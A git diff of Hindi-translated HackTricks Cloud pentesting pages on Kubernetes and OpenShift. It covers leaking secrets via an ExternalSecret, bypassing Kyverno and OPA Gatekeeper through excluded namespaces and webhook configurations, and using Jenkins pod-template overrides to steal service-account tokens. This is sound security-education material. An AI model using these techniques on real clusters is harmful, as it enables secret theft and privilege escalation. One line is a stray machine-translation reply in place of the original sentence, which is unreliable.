मान लेते हैं कि आपके पास एक उपयोगकर्ता है जिसके पास इस संसाधन को पढ़ने के लिए पर्याप्त अधिकार हैं; पहले मौजूदा _**ClusterSecretStores**_ की सूची बनाकर शुरू करें।
```sh
kubectl get ClusterSecretStore
```
@@ -34,7 +36,7 @@ kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
```
### टुकड़ों को इकट्ठा करना
यहां से आप एक या एक से अधिक गुप्त नाम (जैसे कि Secret संसाधन में परिभाषित) प्राप्त कर सकते हैं। आपको एक आउटपुट मिलेगा जो इस तरह का होगा:
यहां से आप एक या एक से अधिक गुप्त नाम (जैसे कि Secret संसाधन में परिभाषित) प्राप्त कर सकते हैं। आपको एक आउटपुट मिलेगा जो इस प्रकार होगा:
```yaml
kind: ExternalSecret
metadata:
@@ -55,9 +57,9 @@ secretKey: SOME_PASSWORD
- एक ClusterSecretStore का नाम
- एक ExternalSecret का नाम
- गुप्त का नाम
- सीक्रेट का नाम
अब जब हमारे पास सब कुछ है, आप एक ExternalSecret बना सकते हैं (और अंततः आवश्यकताओं के अनुसार अपने नए गुप्त को समन्वयित करने के लिए एक नया Namespace पैच/बनाने के लिए):
अब जब हमारे पास सब कुछ है, आप एक ExternalSecret बना सकते हैं (और अंततः आवश्यकताओं के अनुसार एक नया Namespace पैच/बनाने के लिए अपने नए सीक्रेट को सिंक करने के लिए):
```yaml
kind: ExternalSecret
metadata:
@@ -91,7 +93,7 @@ required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
```
कुछ मिनटों के बाद, यदि समन्वय की शर्तें पूरी हो गईं, तो आपको अपने नामस्थान के अंदर लीक किया गया रहस्य देखने में सक्षम होना चाहिए।
कुछ मिनटों के बाद, यदि समन्वय की शर्तें पूरी हो गईं, तो आपको अपने नामस्थान के अंदर लीक हुआ रहस्य देखने में सक्षम होना चाहिए।
```sh
kubectl get secret leaked_secret -o yaml
```
@@ -104,3 +106,7 @@ https://external-secrets.io/latest/
{{#ref}}
https://github.com/external-secrets/external-secrets
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

18
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md
View File

@@ -1,18 +1,20 @@
# Kubernetes Kyverno
{{#include ../../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## परिभाषा&#x20;
## परिभाषा
Kyverno एक ओपन-सोर्स, नीति प्रबंधन ढांचा है जो Kubernetes के लिए संगठनों को अपनी पूरी Kubernetes अवसंरचना में नीतियों को परिभाषित, लागू और ऑडिट करने की अनुमति देता है। यह Kubernetes क्लस्टरों की सुरक्षा, अनुपालन और शासन प्रबंधन के लिए एक स्केलेबल, विस्तारित और अत्यधिक अनुकूलन योग्य समाधान प्रदान करता है।
Kyverno एक ओपन-सोर्स, नीति प्रबंधन ढांचा है जो Kubernetes के लिए है, जो संगठनों को अपनी पूरी Kubernetes अवसंरचना में नीतियों को परिभाषित, लागू और ऑडिट करने में सक्षम बनाता है। यह Kubernetes क्लस्टरों की सुरक्षा, अनुपालन और शासन प्रबंधन के लिए एक स्केलेबल, विस्तारित और अत्यधिक अनुकूलन योग्य समाधान प्रदान करता है।
## उपयोग के मामले
Kyverno का उपयोग विभिन्न उपयोग के मामलों में किया जा सकता है, जिसमें:
Kyverno का उपयोग विभिन्न उपयोग के मामलों में किया जा सकता है, जिसमें शामिल हैं:
1. **नेटवर्क नीति लागू करना**: Kyverno का उपयोग नेटवर्क नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि पॉड या सेवाओं के बीच ट्रैफ़िक को अनुमति देना या अवरुद्ध करना।
1. **नेटवर्क नीति प्रवर्तन**: Kyverno का उपयोग नेटवर्क नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि पॉड या सेवाओं के बीच ट्रैफ़िक को अनुमति देना या अवरुद्ध करना।
2. **गुप्त प्रबंधन**: Kyverno का उपयोग गुप्त प्रबंधन नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि गुप्तों को एक विशिष्ट प्रारूप या स्थान में संग्रहीत करने की आवश्यकता।
3. **पहुँच नियंत्रण**: Kyverno का उपयोग पहुँच नियंत्रण नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि उपयोगकर्ताओं को कुछ संसाधनों तक पहुँचने के लिए विशिष्ट भूमिकाएँ या अनुमतियाँ रखने की आवश्यकता।
3. **एक्सेस नियंत्रण**: Kyverno का उपयोग एक्सेस नियंत्रण नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि उपयोगकर्ताओं को कुछ संसाधनों तक पहुँचने के लिए विशिष्ट भूमिकाएँ या अनुमतियाँ होने की आवश्यकता।
## **उदाहरण: ClusterPolicy और नीति**
@@ -49,6 +51,10 @@ validationFailureAction: enforce
```
जब `default` namespace में `app: myapp` लेबल के बिना एक pod बनाया जाता है, तो Kyverno अनुरोध को ब्लॉक कर देगा और एक त्रुटि संदेश लौटाएगा जो यह दर्शाता है कि pod नीति आवश्यकताओं को पूरा नहीं करता है।
## References
## संदर्भ
* [https://kyverno.io/](https://kyverno.io/)
{{#include ../../../banners/hacktricks-training.md}}

8
src/pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md
View File

@@ -1,5 +1,7 @@
# Kubernetes Kyverno bypass
{{#include ../../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## नीतियों की गलत कॉन्फ़िगरेशन का दुरुपयोग
@@ -21,7 +23,7 @@ $ kubectl get policies
- भूमिकाएँ: `excludedRoles`
- क्लस्टर भूमिकाएँ: `excludedClusterRoles`
ये बाहर की गई संस्थाएँ नीति आवश्यकताओं से छूट जाएँगी, और Kyverno उनके लिए नीति को लागू नहीं करेगा।
ये बाहर की गई संस्थाएँ नीति आवश्यकताओं से छूट प्राप्त करेंगी, और Kyverno उनके लिए नीति को लागू नहीं करेगा।
## Example
@@ -43,7 +45,7 @@ name: system:serviceaccount:TEST:thisisatest
- kind: User
name: system:serviceaccount:AHAH:*
```
क्लस्टर के भीतर, कई अतिरिक्त घटक, ऑपरेटर और अनुप्रयोगों को क्लस्टर नीति से बाहर रखने की आवश्यकता हो सकती है। हालाँकि, इसका लाभ उठाया जा सकता है यदि विशेषाधिकार प्राप्त संस्थाओं को लक्षित किया जाए। कुछ मामलों में, यह प्रतीत हो सकता है कि एक नामस्थान मौजूद नहीं है या आपके पास एक उपयोगकर्ता का अनुकरण करने की अनुमति नहीं है, जो गलत कॉन्फ़िगरेशन का संकेत हो सकता है।
क्लस्टर के भीतर, कई अतिरिक्त घटक, ऑपरेटर और अनुप्रयोगों को क्लस्टर नीति से बाहर करने की आवश्यकता हो सकती है। हालाँकि, इसका लाभ उठाया जा सकता है यदि विशेषाधिकार प्राप्त संस्थाओं को लक्षित किया जाए। कुछ मामलों में, यह प्रतीत हो सकता है कि एक नामस्थान मौजूद नहीं है या आपके पास एक उपयोगकर्ता का अनुकरण करने की अनुमति नहीं है, जो गलत कॉन्फ़िगरेशन का संकेत हो सकता है।
## ValidatingWebhookConfiguration का दुरुपयोग
@@ -56,3 +58,5 @@ name: system:serviceaccount:AHAH:*
## अधिक जानकारी
अधिक जानकारी के लिए देखें [https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-22/securing-kubernetes-clusters-using-kyverno-policy-engine/welcome/](https://madhuakula.com/kubernetes-goat/docs/scenarios/scenario-22/securing-kubernetes-clusters-using-kyverno-policy-engine/welcome/)
{{#include ../../../banners/hacktricks-training.md}}

12
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md
View File

@@ -1,12 +1,14 @@
# Kubernetes - OPA Gatekeeper
{{#include ../../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## परिभाषा
Open Policy Agent (OPA) Gatekeeper एक उपकरण है जिसका उपयोग Kubernetes में प्रवेश नीतियों को लागू करने के लिए किया जाता है। ये नीतियाँ OPA द्वारा प्रदान की गई Rego, एक नीति भाषा, का उपयोग करके परिभाषित की जाती हैं। नीचे OPA Gatekeeper का उपयोग करके नीति परिभाषा का एक बुनियादी उदाहरण दिया गया है:
```rego
regoCopy codepackage k8srequiredlabels
package k8srequiredlabels
violation[{"msg": msg}] {
provided := {label | input.review.object.metadata.labels[label]}
@@ -63,10 +65,14 @@ labels:
requiredLabel1: "true"
requiredLabel2: "true"
```
इस YAML उदाहरण में, हम लेबल की आवश्यकता के लिए एक **ConstraintTemplate** परिभाषित करते हैं। फिर, हम इस बाधा का नाम `ensure-pod-has-label` रखते हैं, जो `k8srequiredlabels` ConstraintTemplate को संदर्भित करता है और आवश्यक लेबल निर्दिष्ट करता है।
इस YAML उदाहरण में, हम **ConstraintTemplate** को लेबल की आवश्यकता के लिए परिभाषित करते हैं। फिर, हम इस बाधा का नाम `ensure-pod-has-label` रखते हैं, जो `k8srequiredlabels` ConstraintTemplate को संदर्भित करता है और आवश्यक लेबल निर्दिष्ट करता है।
जब Gatekeeper Kubernetes क्लस्टर में तैनात होता है, तो यह इस नीति को लागू करेगा, जिससे उन पॉड्स का निर्माण रोका जाएगा जिनके पास निर्दिष्ट लेबल नहीं हैं।
जब Gatekeeper Kubernetes क्लस्टर में तैनात होता है, तो यह इस नीति को लागू करेगा, उन पॉड्स के निर्माण को रोकते हुए जिनके पास निर्दिष्ट लेबल नहीं हैं।
## References
* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
{{#include ../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
View File

@@ -1,5 +1,7 @@
# Kubernetes OPA Gatekeeper बायपास
{{#include ../../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## गलत कॉन्फ़िगरेशन का दुरुपयोग
@@ -20,24 +22,24 @@ constrainttemplates
$ kubectl get constrainttemplates
$ kubectl get k8smandatorylabels
```
#### GUI के साथ
#### With the GUI
एक ग्राफिक यूजर इंटरफेस भी **Gatekeeper Policy Manager** के साथ OPA नियमों तक पहुँचने के लिए उपलब्ध हो सकता है। यह "Kubernetes क्लस्टर में OPA Gatekeeper नीतियों की स्थिति देखने के लिए एक सरल _read-only_ वेब UI है।"
एक ग्राफ़िक यूज़र इंटरफ़ेस भी **Gatekeeper Policy Manager** के साथ OPA नियमों तक पहुँचने के लिए उपलब्ध हो सकता है। यह "Kubernetes क्लस्टर में OPA Gatekeeper नीतियों की स्थिति देखने के लिए एक सरल _read-only_ वेब UI है।"
<figure><img src="../../../images/05-constraints.png" alt=""><figcaption></figcaption></figure>
खुले हुए सेवा के लिए खोजें :
खुले हुए सेवा के लिए खोजें:
```bash
$ kubectl get services -A | grep gatekeeper
$ kubectl get services -A | grep 'gatekeeper-policy-manager-system'
```
### Excluded namespaces
जैसा कि ऊपर की छवि में दर्शाया गया है, कुछ नियम सभी namespaces या उपयोगकर्ताओं पर सार्वभौमिक रूप से लागू नहीं हो सकते हैं। इसके बजाय, वे एक व्हाइटलिस्ट आधार पर कार्य करते हैं। उदाहरण के लिए, `liveness-probe` बाधा को पांच निर्दिष्ट namespaces पर लागू करने से बाहर रखा गया है।
जैसा कि ऊपर की छवि में दर्शाया गया है, कुछ नियम सभी namespaces या उपयोगकर्ताओं पर समान रूप से लागू नहीं हो सकते। इसके बजाय, वे एक व्हाइटलिस्ट आधार पर कार्य करते हैं। उदाहरण के लिए, `liveness-probe` बाधा को पांच निर्दिष्ट namespaces पर लागू करने से बाहर रखा गया है।
### Bypass
Gatekeeper कॉन्फ़िगरेशन का व्यापक अवलोकन करते हुए, संभावित गलत कॉन्फ़िगरेशन की पहचान करना संभव है जिसे विशेषाधिकार प्राप्त करने के लिए शोषित किया जा सकता है। उन व्हाइटलिस्टेड या बाहर किए गए namespaces की तलाश करें जहाँ नियम लागू नहीं होता है, और फिर वहाँ अपना हमला करें।
Gatekeeper कॉन्फ़िगरेशन का व्यापक अवलोकन करने पर, संभावित गलत कॉन्फ़िगरेशन की पहचान करना संभव है जिसे विशेषाधिकार प्राप्त करने के लिए शोषण किया जा सकता है। उन व्हाइटलिस्टेड या बाहर किए गए namespaces की तलाश करें जहाँ नियम लागू नहीं होता, और फिर वहाँ अपना हमला करें।
{{#ref}}
../abusing-roles-clusterroles-in-kubernetes/
@@ -45,7 +47,7 @@ Gatekeeper कॉन्फ़िगरेशन का व्यापक अव
## Abusing ValidatingWebhookConfiguration
बाधाओं को बायपास करने का एक और तरीका ValidatingWebhookConfiguration संसाधन पर ध्यान केंद्रित करना है :&#x20;
बाधाओं को बायपास करने का एक और तरीका ValidatingWebhookConfiguration संसाधन पर ध्यान केंद्रित करना है:
{{#ref}}
../kubernetes-validatingwebhookconfiguration.md
@@ -55,3 +57,5 @@ Gatekeeper कॉन्फ़िगरेशन का व्यापक अव
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager)
{{#include ../../../banners/hacktricks-training.md}}

24
src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md
View File

@@ -1,14 +1,16 @@
# Kubernetes ValidatingWebhookConfiguration
{{#include ../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## परिभाषा
ValidatingWebhookConfiguration एक Kubernetes संसाधन है जो एक validating webhook को परिभाषित करता है, जो एक सर्वर-साइड घटक है जो आने वाले Kubernetes API अनुरोधों को पूर्व निर्धारित नियमों और बाधाओं के सेट के खिलाफ मान्य करता है।
ValidatingWebhookConfiguration एक Kubernetes संसाधन है जो एक validating webhook को परिभाषित करता है, जो एक सर्वर-साइड घटक है जो आने वाले Kubernetes API अनुरोधों को पूर्वनिर्धारित नियमों और बाधाओं के सेट के खिलाफ मान्य करता है।
## उद्देश्य
ValidatingWebhookConfiguration का उद्देश्य एक validating webhook को परिभाषित करना है जो आने वाले Kubernetes API अनुरोधों पर पूर्व निर्धारित नियमों और बाधाओं के सेट को लागू करेगा। यह webhook अनुरोधों को कॉन्फ़िगरेशन में परिभाषित नियमों और बाधाओं के खिलाफ मान्य करेगा, और यदि अनुरोध नियमों के अनुसार नहीं है तो एक त्रुटि लौटाएगा।
ValidatingWebhookConfiguration का उद्देश्य एक validating webhook को परिभाषित करना है जो आने वाले Kubernetes API अनुरोधों पर पूर्वनिर्धारित नियमों और बाधाओं के सेट को लागू करेगा। यह webhook अनुरोधों को कॉन्फ़िगरेशन में परिभाषित नियमों और बाधाओं के खिलाफ मान्य करेगा, और यदि अनुरोध नियमों के अनुसार नहीं है तो एक त्रुटि लौटाएगा।
**उदाहरण**
@@ -35,7 +37,7 @@ operations:
resources:
- pods
```
ValidatingWebhookConfiguration और नीतियों के बीच मुख्य अंतर :&#x20;
The main difference between a ValidatingWebhookConfiguration and policies :
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
@@ -46,25 +48,25 @@ ValidatingWebhookConfiguration और नीतियों के बीच म
```
$ kubectl get ValidatingWebhookConfiguration
```
### Kyverno और Gatekeeper VWC का दुरुपयोग
### Abusing Kyverno and Gatekeeper VWC
जैसा कि हम देख सकते हैं, सभी स्थापित ऑपरेटरों के पास कम से कम एक ValidatingWebHookConfiguration(VWC) है।
**Kyverno** और **Gatekeeper** दोनों Kubernetes नीति इंजन हैं जो एक क्लस्टर में नीतियों को परिभाषित और लागू करने के लिए एक ढांचा प्रदान करते हैं।
अपवाद उन विशिष्ट नियमों या शर्तों को संदर्भित करते हैं जो किसी नीति को कुछ परिस्थितियों में बायपास या संशोधित करने की अनुमति देते हैं, लेकिन यह एकमात्र तरीका नहीं है!
Exceptions उन विशिष्ट नियमों या शर्तों को संदर्भित करते हैं जो किसी नीति को कुछ परिस्थितियों में बायपास या संशोधित करने की अनुमति देते हैं, लेकिन यह एकमात्र तरीका नहीं है!
**kyverno** के लिए, जैसे ही एक मान्यकरण नीति होती है, वेबहुक `kyverno-resource-validating-webhook-cfg` भरा जाता है।
Gatekeeper के लिए, `gatekeeper-validating-webhook-configuration` YAML फ़ाइल है।
दोनों डिफ़ॉल्ट मानों के साथ आते हैं, लेकिन प्रशासक टीमें उन 2 फ़ाइलों को अपडेट कर सकती हैं।
दोनों डिफ़ॉल्ट मानों के साथ आते हैं, लेकिन व्यवस्थापक टीमें उन 2 फ़ाइलों को अपडेट कर सकती हैं।
### उपयोग का मामला
### Use Case
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
अब निम्नलिखित आउटपुट की पहचान करें:
Please provide the output you would like me to identify or translate.
```yaml
namespaceSelector:
matchExpressions:
@@ -79,9 +81,9 @@ values:
```
यहाँ, `kubernetes.io/metadata.name` लेबल नामस्थान के नाम को संदर्भित करता है। `values` सूची में नाम वाले नामस्थान नीति से बाहर रखे जाएंगे:
नामस्थान की उपस्थिति की जांच करें। कभी-कभी, स्वचालन या गलत कॉन्फ़िगरेशन के कारण, कुछ नामस्थान नहीं बनाए जा सकते हैं। यदि आपके पास नामस्थान बनाने की अनुमति है, तो आप `values` सूची में नाम के साथ एक नामस्थान बना सकते हैं और नीतियाँ आपके नए नामस्थान पर लागू नहीं होंगी।
नामस्थान की उपस्थिति की जांच करें। कभी-कभी, स्वचालन या गलत कॉन्फ़िगरेशन के कारण, कुछ नामस्थान नहीं बनाए गए हो सकते हैं। यदि आपके पास नामस्थान बनाने की अनुमति है, तो आप `values` सूची में नाम के साथ एक नामस्थान बना सकते हैं और नीतियाँ आपके नए नामस्थान पर लागू नहीं होंगी।
इस हमले का लक्ष्य VWC के अंदर **गलत कॉन्फ़िगरेशन** का लाभ उठाना है ताकि ऑपरेटर की सीमाओं को बायपास किया जा सके और फिर अन्य तकनीकों के साथ अपने विशेषाधिकारों को बढ़ाया जा सके।
इस हमले का लक्ष्य **गलत कॉन्फ़िगरेशन** का लाभ उठाना है जो VWC के अंदर है ताकि ऑपरेटर की प्रतिबंधों को बायपास किया जा सके और फिर अन्य तकनीकों के साथ आपके विशेषाधिकारों को बढ़ाया जा सके।
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -92,3 +94,5 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
- [https://kyverno.io/](https://kyverno.io/)
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
{{#include ../../banners/hacktricks-training.md}}

6
src/pentesting-cloud/openshift-pentesting/README.md
View File

@@ -1,5 +1,7 @@
# OpenShift Pentesting
{{#include ../../banners/hacktricks-training.md}}
## मूल जानकारी
{{#ref}}
@@ -17,3 +19,7 @@ openshift-scc.md
{{#ref}}
openshift-privilege-escalation/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

12
src/pentesting-cloud/openshift-pentesting/openshift-basic-information.md
View File

@@ -1,5 +1,7 @@
# OpenShift - मूल जानकारी
{{#include ../../banners/hacktricks-training.md}}
## Kubernetes पूर्व b**asic knowledge** <a href="#a94e" id="a94e"></a>
OpenShift के साथ काम करने से पहले, सुनिश्चित करें कि आप Kubernetes वातावरण के साथ सहज हैं। पूरा OpenShift अध्याय मानता है कि आपके पास Kubernetes का पूर्व ज्ञान है।
@@ -8,7 +10,7 @@ OpenShift के साथ काम करने से पहले, सुन
### परिचय
OpenShift Red Hat का कंटेनर एप्लिकेशन प्लेटफॉर्म है जो Kubernetes सुविधाओं का एक सुपरसेट प्रदान करता है। OpenShift की सुरक्षा नीतियाँ अधिक कठोर हैं। उदाहरण के लिए, एक कंटेनर को रूट के रूप में चलाना मना है। यह सुरक्षा बढ़ाने के लिए एक सुरक्षित-डिफ़ॉल्ट विकल्प भी प्रदान करता है। OpenShift में एक वेब कंसोल है जिसमें एक-टच लॉगिन पृष्ठ शामिल है।
OpenShift Red Hat का कंटेनर एप्लिकेशन प्लेटफॉर्म है जो Kubernetes सुविधाओं का एक सुपरसेट प्रदान करता है। OpenShift की सुरक्षा नीतियाँ अधिक कठोर हैं। उदाहरण के लिए, एक कंटेनर को रूट के रूप में चलाना मना है। यह सुरक्षा बढ़ाने के लिए एक सुरक्षित-डिफ़ॉल्ट विकल्प भी प्रदान करता है। OpenShift में एक वेब कंसोल है जिसमें एक टच लॉगिन पृष्ठ शामिल है।
#### CLI
@@ -25,9 +27,9 @@ oc login -s=<server> --token=<bearer token>
```
### **OpenShift - सुरक्षा संदर्भ प्रतिबंध** <a href="#a94e" id="a94e"></a>
उपयोगकर्ता क्या कर सकता है, इसे नियंत्रित करने वाले [RBAC संसाधनों](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) के अलावा, OpenShift कंटेनर प्लेटफॉर्म _सुरक्षा संदर्भ प्रतिबंध_ (SCC) प्रदान करता है जो यह नियंत्रित करता है कि एक पॉड क्या क्रियाएँ कर सकता है और इसके पास क्या पहुँच है।
उस [RBAC संसाधनों](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) के अलावा जो यह नियंत्रित करते हैं कि एक उपयोगकर्ता क्या कर सकता है, OpenShift कंटेनर प्लेटफ़ॉर्म _सुरक्षा संदर्भ प्रतिबंध_ (SCC) प्रदान करता है जो यह नियंत्रित करते हैं कि एक पॉड क्या क्रियाएँ कर सकता है और इसके पास क्या पहुँच है।
SCC एक नीति वस्तु है जिसमें विशेष नियम होते हैं जो बुनियादी ढाँचे के साथ मेल खाते हैं, जबकि RBAC के नियम प्लेटफॉर्म के साथ मेल खाते हैं। यह हमें यह परिभाषित करने में मदद करता है कि कंटेनर को कौन से लिनक्स एक्सेस-नियंत्रण सुविधाएँ अनुरोध/चलाने की अनुमति होनी चाहिए। उदाहरण: लिनक्स क्षमताएँ, SECCOMP प्रोफाइल, लोकलहोस्ट डिर्स को माउंट करना, आदि।
SCC एक नीति वस्तु है जिसमें विशेष नियम होते हैं जो बुनियादी ढाँचे के साथ मेल खाते हैं, जबकि RBAC में नियम होते हैं जो प्लेटफ़ॉर्म के साथ मेल खाते हैं। यह हमें यह परिभाषित करने में मदद करता है कि कंटेनर को कौन से लिनक्स एक्सेस-नियंत्रण सुविधाएँ अनुरोध/चलाने की अनुमति होनी चाहिए। उदाहरण: लिनक्स क्षमताएँ, SECCOMP प्रोफाइल, लोकलहोस्ट डिर्स को माउंट करना, आदि।
{{#ref}}
openshift-scc.md
@@ -36,3 +38,7 @@ openshift-scc.md
{{#ref}}
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

10
src/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md
View File

@@ -1,12 +1,14 @@
# OpenShift - Jenkins
{{#include ../../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Fares**](https://www.linkedin.com/in/fares-siala/)
यह पृष्ठ बताता है कि आप Openshift (या Kubernetes) क्लस्टर में चल रहे Jenkins इंस्टेंस पर कैसे हमला कर सकते हैं।
## अस्वीकरण
Jenkins इंस्टेंस को Openshift या Kubernetes क्लस्टर में तैनात किया जा सकता है। आपके संदर्भ के आधार पर, आपको दिखाए गए किसी भी पेलोड, yaml या तकनीक को अनुकूलित करने की आवश्यकता हो सकती है। Jenkins पर हमले के बारे में अधिक जानकारी के लिए, आप [इस पृष्ठ](../../../pentesting-ci-cd/jenkins-security/) को देख सकते हैं।
Jenkins इंस्टेंस को Openshift या Kubernetes क्लस्टर में तैनात किया जा सकता है। आपके संदर्भ के आधार पर, आपको दिखाए गए किसी भी पेलोड, yaml या तकनीक को अनुकूलित करने की आवश्यकता हो सकती है। Jenkins पर हमले के बारे में अधिक जानकारी के लिए, आप [इस पृष्ठ](../../../pentesting-ci-cd/jenkins-security/index.html) को देख सकते हैं।
## पूर्वापेक्षाएँ
@@ -18,7 +20,7 @@ Jenkins इंस्टेंस को Openshift या Kubernetes क्लस
### निर्माण
जब एक निर्माण ट्रिगर होता है, तो इसे पहले Jenkins मास्टर नोड द्वारा प्रबंधित/संयोजित किया जाता है और फिर एक एजेंट/स्लेव/वर्कर को सौंपा जाता है। इस संदर्भ में, मास्टर नोड बस एक नियमित पॉड है जो एक नामस्थान में चल रहा है (जो उस नामस्थान से भिन्न हो सकता है जहां वर्कर चलते हैं)। यही बात वर्कर्स/स्लेव्स पर भी लागू होती है, हालाँकि वे निर्माण समाप्त होने के बाद नष्ट हो जाते हैं जबकि मास्टर हमेशा चालू रहता है। आपका निर्माण आमतौर पर एक पॉड के अंदर चलता है, जो Jenkins प्रशासकों द्वारा परिभाषित डिफ़ॉल्ट पॉड टेम्पलेट का उपयोग करता है।
जब एक निर्माण ट्रिगर होता है, तो इसे पहले Jenkins मास्टर नोड द्वारा प्रबंधित/आयोजित किया जाता है और फिर एक एजेंट/स्लेव/वर्कर को सौंपा जाता है। इस संदर्भ में, मास्टर नोड बस एक नियमित पॉड है जो एक नामस्थान में चल रहा है (जो उस नामस्थान से भिन्न हो सकता है जहां वर्कर चलते हैं)। यही बात वर्कर्स/स्लेव्स पर भी लागू होती है, हालाँकि वे निर्माण समाप्त होने पर नष्ट हो जाते हैं जबकि मास्टर हमेशा चालू रहता है। आपका निर्माण आमतौर पर एक पॉड के अंदर चलता है, जो Jenkins प्रशासकों द्वारा परिभाषित डिफ़ॉल्ट पॉड टेम्पलेट का उपयोग करता है।
### निर्माण को ट्रिगर करना
@@ -26,7 +28,7 @@ Jenkins इंस्टेंस को Openshift या Kubernetes क्लस
1. आपके पास Jenkins तक UI पहुंच है
एक बहुत आसान और सुविधाजनक तरीका है मौजूदा निर्माण की पुनरावृत्ति कार्यक्षमता का उपयोग करना। यह आपको एक पूर्व निष्पादित निर्माण को पुनः चलाने की अनुमति देता है जबकि आपको ग्रोवी स्क्रिप्ट को अपडेट करने की अनुमति देता है। इसके लिए Jenkins फ़ोल्डर पर विशेषाधिकार और एक पूर्व निर्धारित पाइपलाइन की आवश्यकता होती है। यदि आपको छिपकर काम करना है, तो आप अपनी ट्रिगर की गई निर्माणों को हटा सकते हैं यदि आपके पास पर्याप्त अनुमति है।
एक बहुत आसान और सुविधाजनक तरीका है मौजूदा निर्माण की पुनरावृत्ति कार्यक्षमता का उपयोग करना। यह आपको एक पूर्व निष्पादित निर्माण को पुनः चलाने की अनुमति देता है जबकि आपको ग्रोवी स्क्रिप्ट को अपडेट करने की अनुमति देता है। इसके लिए Jenkins फ़ोल्डर पर विशेषाधिकार और एक पूर्व परिभाषित पाइपलाइन की आवश्यकता होती है। यदि आपको छिपकर रहना है, तो आप अपनी ट्रिगर की गई निर्माणों को हटा सकते हैं यदि आपके पास पर्याप्त अनुमति है।
2. आपके पास SCM में लिखने की पहुंच है और स्वचालित निर्माण वेबहुक के माध्यम से कॉन्फ़िगर किए गए हैं
@@ -37,3 +39,5 @@ Jenkins इंस्टेंस को Openshift या Kubernetes क्लस
{{#ref}}
openshift-jenkins-build-overrides.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

42
src/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md
View File

@@ -1,9 +1,11 @@
# Jenkins in Openshift - build pod overrides
{{#include ../../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Fares**](https://www.linkedin.com/in/fares-siala/)
## Kubernetes plugin for Jenkins
यह प्लगइन ज्यादातर openshift/kubernetes क्लस्टर के अंदर Jenkins के मुख्य कार्यों के लिए जिम्मेदार है। आधिकारिक दस्तावेज़ [यहां](https://plugins.jenkins.io/kubernetes/) है।
यह प्लगइन मुख्य रूप से openshift/kubernetes क्लस्टर के भीतर Jenkins के मुख्य कार्यों के लिए जिम्मेदार है। आधिकारिक दस्तावेज़ [यहाँ](https://plugins.jenkins.io/kubernetes/)
यह कुछ कार्यात्मकताएँ प्रदान करता है जैसे कि डेवलपर्स को जेनकिंस बिल्ड पॉड की कुछ डिफ़ॉल्ट कॉन्फ़िगरेशन को ओवरराइड करने की क्षमता।
## Core functionnality
@@ -36,8 +38,8 @@ sh 'mvn -B -ntp clean install'
```
## Some abuses leveraging pod yaml override
हालांकि, इसका दुरुपयोग किसी भी सुलभ इमेज जैसे Kali Linux का उपयोग करने और उस इमेज से प्रीइंस्टॉल्ड टूल्स का उपयोग करके मनमाने कमांड निष्पादित करने के लिए किया जा सकता है।
नीचे दिए गए उदाहरण में, हम चल रहे पॉड के सर्विसएकाउंट टोकन को एक्सफिल्ट्रेट कर सकते हैं।
यह किसी भी सुलभ इमेज जैसे Kali Linux का उपयोग करने के लिए दुरुपयोग किया जा सकता है और उस इमेज से प्रीइंस्टॉल्ड टूल्स का उपयोग करके मनमाने कमांड निष्पादित किया जा सकता है।
नीचे दिए गए उदाहरण में, हम चल रहे पॉड का सर्विसएकाउंट टोकन निकाल सकते हैं।
```groovy
podTemplate(yaml: '''
apiVersion: v1
@@ -161,29 +163,29 @@ sh 'env'
}
}
```
